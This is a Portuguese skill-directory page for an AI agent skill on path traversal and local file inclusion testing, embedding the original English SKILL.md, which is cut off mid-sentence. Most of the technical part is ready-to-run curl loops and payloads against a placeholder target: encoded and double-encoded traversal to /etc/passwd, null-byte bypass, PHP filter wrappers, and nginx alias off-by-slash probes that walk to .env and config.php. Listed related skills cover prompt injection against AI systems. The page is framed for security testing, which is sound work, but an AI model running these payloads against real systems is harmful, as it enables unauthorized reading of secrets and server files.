lfi
O que ela faz
Esta skill orienta o agente a testar se um site permite que usuários leiam arquivos fora da pasta prevista. Ela é para testadores de segurança que verificam recursos de download e de exibição de arquivos.
Quando usar
- ✓Quando uma página recebe um parâmetro de arquivo ou de caminho e você quer testar se ele consegue ler outros arquivos.
- ✓Quando uma verificação aponta para um recurso de template, de download ou de arquivo estático.
- ✓Quando um resultado de reconhecimento aponta um parâmetro de arquivo que deve ser testado primeiro.
Link da skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/lfi/SKILL.mdCopie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.
Como usar
O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.
Mensagem pronta para colar
Para Claude Code, Codex ou Cursor: rode na pasta do projeto e a skill fica instalada.
Baixe o SKILL.md e coloque na pasta de skills do seu agente.
Exemplo do que pedir para a IA
“Você pode verificar se o parâmetro de arquivo da minha página de download pode ser usado para ler arquivos fora da pasta?”
5 skills novas por semana. 1 minuto de leitura.
Como funciona
O agente tenta truques de caminho, como subir diretórios e formas que contornam filtros, e verifica se a resposta mostra um arquivo que não deveria ser alcançável.
Conteúdo técnico (SKILL.md original)
Texto original do autor, em inglês, direto do GitHub.
Path Traversal / Local File Inclusion (LFI)
Exploits insufficient path validation to read arbitrary files or include them for execution. Often targets file download/display endpoints, template inclusion, or static resource handlers.
Precondition — Use Recon Handoff First
If the recon handoff (recon/SUMMARY.md RECON_HANDOFF: line) names a
specific file/path parameter (e.g. /<endpoint>?file=, /<endpoint>?path=,
/<endpoint>?name=), START with the parameter named in the handoff. Do
NOT run gobuster/ffuf/dirb against the host before testing the
handoff parameter — recon already enumerated the surface. The Detection
block below is for engagements where NO recon handoff exists.
The first 3 commands you run in this skill MUST target the recon-named parameter with these payload classes (one per command):
- plain traversal —
../../../etc/passwd - stripped-traversal bypass —
....//....//....//etc/passwd - PHP wrapper —
php://filter/convert.base64-encode/resource=<file>
Only if all three return baseline-matched response (per the
§"Response Body Verification" check) should you consider broader endpoint
discovery — and that discovery belongs in exploit/PIVOT.md first,
documenting (a) what payload classes you tried against the handoff
parameter, (b) why the handoff vector is exhausted, (c) the new surface
you are moving to.
Detection
# Basic path traversal probes on common parameters
for param in file name path page template doc include src resource filename load; do
resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/?$param=../../../etc/passwd")
[ "$resp" != "404" ] && echo "Param '$param' returned $resp"
done
# Test traversal depth
curl -s 'http://<TARGET>/file?name=../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../etc/passwd'
curl -s 'http://<TARGET>/file?name=../../../../../etc/passwd'
# URL-encoded traversal
curl -s 'http://<TARGET>/file?name=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
# Double URL-encoded (when server decodes twice)
curl -s 'http://<TARGET>/file?name=%252e%252e%252f%252e%252e%252fetc%252fpasswd'
# Null byte (older PHP < 5.3.4)
curl -s 'http://<TARGET>/file?name=../../../etc/passwd%00.jpg'
# Path in URL path segment
curl -s 'http://<TARGET>/static/..%2f..%2f..%2fetc/passwd'
curl -s 'http://<TARGET>/files/....//....//....//etc/passwd'
Server-Level Path Traversal (Nginx Alias Off-by-Slash)
Distinct from PHP-parameter LFI: the vulnerability lives in the nginx config, not in application code. Frequently appears in production reverse-proxy / static-asset / admin-panel deployments. Test EVERY discovered URL prefix that returns a 301 redirect appending /, BEFORE moving to parameter fuzzing — this probe is one curl per prefix, near-zero cost, high signal.
Fingerprint (any of these is enough to test):
Server: nginxresponse header- A path
/prefix(no trailing slash) returns 301 redirecting to/prefix/— canonical signature oflocation /prefix(no slash) with a separatelocation /prefix/(with slash) - Static assets served under a path prefix (
/static,/assets,/images,/admin,/files,/uploads)
Exploit pattern — append ../ DIRECTLY after the prefix (no slash between):
# For each prefix discovered in recon (gobuster/ffuf or 301-redirect probe):
for prefix in admin static assets images files uploads docs api; do
STATUS=$(curl -s -o /tmp/alias_${prefix}.txt -w '%{http_code}' "http://<TARGET>/${prefix}../etc/passwd")
SIZE=$(wc -c < /tmp/alias_${prefix}.txt)
echo "${prefix}: status=${STATUS} size=${SIZE}"
grep -c 'root:' /tmp/alias_${prefix}.txt
done
# Then walk parents to find sensitive files near the alias root:
PREFIX="admin" # the winning prefix from above
for target in etc/passwd .env flag.txt flag config.php settings.py ../.env ../flag.txt; do
curl -s "http://<TARGET>/${PREFIX}../${target}" | head -5
done
Why it works: when location /prefix lacks the trailing slash but alias /target/ has one, nginx strips the URI's literal /prefix portion and concatenates the rest with the alias target. Request /prefix../foo → nginx removes /prefix → leaves ../foo → resolves against /target/ → /target/../foo = parent-directory access.
Distinguishing from root directive: only alias is affected. A location /static { root /var/www/; } block is NOT vulnerable to this — nginx appends the FULL request URI to the root path, so /static../etc/passwd yie
Perguntas frequentes
Ela faz varreduras amplas primeiro?
Não. A skill diz para testar o parâmetro nomeado do reconhecimento anterior antes de rodar varreduras amplas de diretórios.
Cobre wrappers do PHP?
Sim, cobre wrappers do PHP, que podem ler ou executar arquivos em alguns ambientes.
O que conta como teste bem-sucedido?
A skill compara as respostas com uma linha de base para confirmar que um arquivo real foi devolvido.
Detalhes
Descrição original do autor
Path traversal and Local File Inclusion (LFI) — arbitrary file reading via directory traversal, PHP filter/input/data wrappers for RCE, log poisoning, static resource disclosure, and information leakage. Use for any challenge involving file path manipulation, ../ traversal, local file read, PHP wrappers, or sensitive file disclosure.
Popularidade
- Estrelas no GitHub
- 6,5 mil
- Posição no ranking
- #14069
- Licença
- Apache-2.0
- Atualizada em
- 01/11/2026
Comentários
- …
Mais skills deste repositório
detector-overview
6,5 milAjuda seu agente a ler o código marcado por um scanner e decidir quais pontos sinalizados são falhas reais de segurança e quais são falsos alarmes.
exploiter-overview
6,5 milAjuda seu agente a combinar várias fraquezas de segurança confirmadas em uma única cadeia de teste e verificar até onde essa cadeia poderia chegar.
llm-redteam-overview
6,5 milAjuda seu agente a encontrar o guia certo de red team de IA para um teste, cobrindo 15 grupos de táticas, da injeção de prompt ao abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica a injeção de prompt, em que instruções ocultas tentam sobrepor-se a um sistema de IA, para que testadores de segurança consigam verificá-la.
Skills parecidas
reverse-engineer-anything
422 milAjuda seu agente a analisar apps e pacotes já publicados para explicar recursos, comparar versões ou orientar uma reconstrução, usando a ferramenta REA.
1password
394 milAjuda seu agente a configurar a CLI do 1Password, fazer login e ler ou injetar segredos sem imprimir seus valores no chat.
healthcheck
394 milAjuda seu agente a auditar o computador ou servidor que roda o OpenClaw em busca de riscos como SSH, firewall, atualizações e backups, com correções seguras.